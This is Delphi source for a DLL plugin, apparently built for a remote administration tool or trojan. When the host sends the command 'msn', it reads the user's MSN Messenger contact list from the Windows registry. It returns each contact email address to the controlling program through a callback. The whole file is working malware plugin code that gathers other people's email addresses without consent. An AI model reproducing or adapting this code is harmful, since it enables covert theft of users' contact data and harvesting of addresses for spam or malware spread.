library msnsys;

uses
  windows,
  RegUnit in 'RegUnit.pas';




type
    pluginreply = procedure (Text: pchar);

const
clientdllname:pchar='msntool.dll';
var
  OwnerAPP:integer;


procedure Init(Owner: Integer); far
begin
  OwnerAPP := Owner;
end;

procedure plugin_reply (cmd:string);
begin
//send message to the client plugin
pluginreply(GetProcAddress(OwnerApp, 'pluginreply'))(pchar(clientdllname+';'+cmd));
end;

function IntToStr(x: integer): String;
var
  s: String;
begin
  str(x,s);
  inttostr := s;
end;


PROCEDURE MSNEmails;
VAR
  Reg : TRegistry;
  I   : Longint;
  J   : Longint;
  P   : ARRAY [0..400] OF Char;
  S   : STRING;
BEGIN
  Reg:=TRegistry.Create;
  Reg.RootKey:=HKEY_CURRENT_USER;
  S:='\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service';
  IF Reg.KeyExists(S) THEN BEGIN
    Reg.Openkey(S,False);
    I:=0;
    WHILE Reg.ValueExists('Allow'+IntToStr(I)) DO BEGIN
      J:=Reg.GetDataSize('Allow'+IntToStr(I));
      IF J<>-1 THEN BEGIN
          Reg.ReadBinaryData('Allow'+IntToStr(I),P,J);
          //------------------------------------------------------loop



       //   MessageBox(0, pchar(STRING(P)), pchar('test'),MB_ICONASTERISK);

          sleep(100);
          plugin_reply(STRING(P)+',');
        //loop---------------------------------------------------------
      END;
      INC(I);
    END;
  END;
  Reg.CloseKey;
end;

// Separates values: value1,value2,value3,value4,
function getvalues(text:string;vn:integer):string;
var i:integer;value:string;
begin
// value1,value2,value3,value4
if text=''then exit;
i:=0;
while i<vn do begin
value:=copy(text,0,Pos(',',text)-1);
//deletes first postition ','
Delete(text,1,pos(',',text));
inc(i,1);
result :=value;
end;
end;

procedure process(cmd:string);
begin

if getvalues(cmd,1) = 'msn' then
begin
MSNEmails;
end;



end;

procedure plugin(data:pchar); far;
begin
process(data);
end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
//blank
end;

exports
init,plugin;

begin
  DLLProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.